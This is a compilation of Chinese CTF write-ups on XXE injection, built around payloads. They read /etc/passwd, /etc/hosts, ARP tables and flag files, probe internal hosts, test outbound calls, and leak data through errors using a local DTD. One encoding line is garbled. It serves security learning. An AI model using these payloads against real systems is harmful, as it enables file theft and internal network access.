1.[NCTF2019]Fake XML cookbook 1
典型的XXE攻击是由
XML声明:<?xml version="1.0"?>
DTD部分(通过特殊的命令去其他文件读取信息)
SYSTEM
XML部分组成
危害:
XXE 可以通过dtd去读取,访问其他文件或者网站,类似于ssrf
<!DOCTFPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]> DTD部分
<scan>&test;</scan> XML部分
scan标签设置一个test的实体,这个实体是通过system命令访问1.txt
构造payload
<?xml version="1.0" encoding="utf-8"?>//XML声明
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
2.[NCTF2019]Fake XML cookbook
根据抓包信息,页面以POST的方式传输了XML数据,此时我们可以添加一个恶意外部实体,在原本的XML数据里进行引用,以此达到攻击的目的
定义外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
其中a 表示此文档是a类型的文档
ENTITY中的内容表示声明了一个名为admin的外部实体(含SYSTEM就是外部实体),实体内容为读取/etc/passwd信息
定义实体后,在已经存在的< username>标签中可以进行调用,使用&admin;即可
一般flag文件在根目录下,所以直接使用:file:///flag即可
3.[NCTF2019]True XML cookbook Writeup
这里暴露出来很明显的xxe注入点。
我们开始构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "file:///etc/passwd">
]>
<user><username>&a;</username><password>a</password></user>
我们读取关键文件:/etc/hosts 和 /proc/net/arp。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "file:///etc/hosts">
]>
<user><username>&a;</username><password>a</password></user>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "file:///proc/net/arp">
]>
<user><username>&a;</username><password>a</password></user>
给了一个主机IP,读取一下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "http://10.106.213.2/">
]>
<user><username>&a;</username><password>a</password></user>
直接报错,但没关系,我们可以进行C段扫描
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "http://10.106.213.11/">
]>
<user><username>&a;</username><password>a</password></user>
4.[CSAWQual 2019]Web_Unagi XXE漏洞 [HarekazeCTF2019]Avatar Uploader 1 finfo_file和getimagesize
通过iconv转换成utf-16编码绕过
iconv -f utf8 -t utf-16 1.xml>2.xml
简单概括就是要让finfo_file判断是png但是getimagesize判断不是png就能得到flag。
finfo_file通过文件头来判断,getimagesize还通过长宽等很多其他信息来判断
找一张png图片看一下(ps.要求的图片尺寸要很小,我剪裁了好多次)
保留文件头,其他删掉试一下,记得多删掉一点,留下IHDR就可以了
5.buu-[BSidesCF 2019]SVGMagic
由SVG造成的XXE注入
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="200" width="1000">
<text x="10" y="20">&file;</text>
</svg>
可以读到passwd
读取/proc/self/cwd/flag.txt
/proc/self 链接到当前正在运行的进程
/proc/self/cwd当前工作目录
小本本记下来
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="200" width="1000">
<text x="10" y="20">&file;</text>
</svg>
6.[GoogleCTF2019 Quals]Bnv -S
.发现通过json格式传送message参数,此处尝试使用xml格式传送数据,如果可以的话,就可以考虑使用xxe进行攻击。
构造xml:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250">
]>
<message>&test;</message>
服务器成功解析,接下来看看能不能连接外网:
测试xml:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250">
<!ENTITY % a SYSTEM "https://bbbbb.free.beeceptor.com">
%a;
]>
<message>&test;</message>
注意到当路径错误时会返回错误路径,这让我联想到sql的报错注入,如果把file协议读取到的信息
拼接到路径中是否就可以通过报错显示出来了?
给出paylaod:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY m "135601360123502401401250">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY % test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
]>
<message>&m;</message>
对实体内%,' ,& 进行unicode编码防止报错:
% => % ' => ' & => &
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY m "135601360123502401401250">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY &#37; test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
]>
<message>&m;</message>
%local_dtd;%getflag;%test;解析过程:
1.初始状态
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY &#37; test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
2.解析%local_dtd;
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY %#37; test SYSTEM 'file:///%flag;'>">
%getflag;%test;
3.解析%getflag;
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % test SYSTEM 'file:///%flag;'>
%test;
4.解析%test;
此时flag会被拼接到test的路径中,并读取路径,之后就是报错,我们就可以从报错的路径中看到flag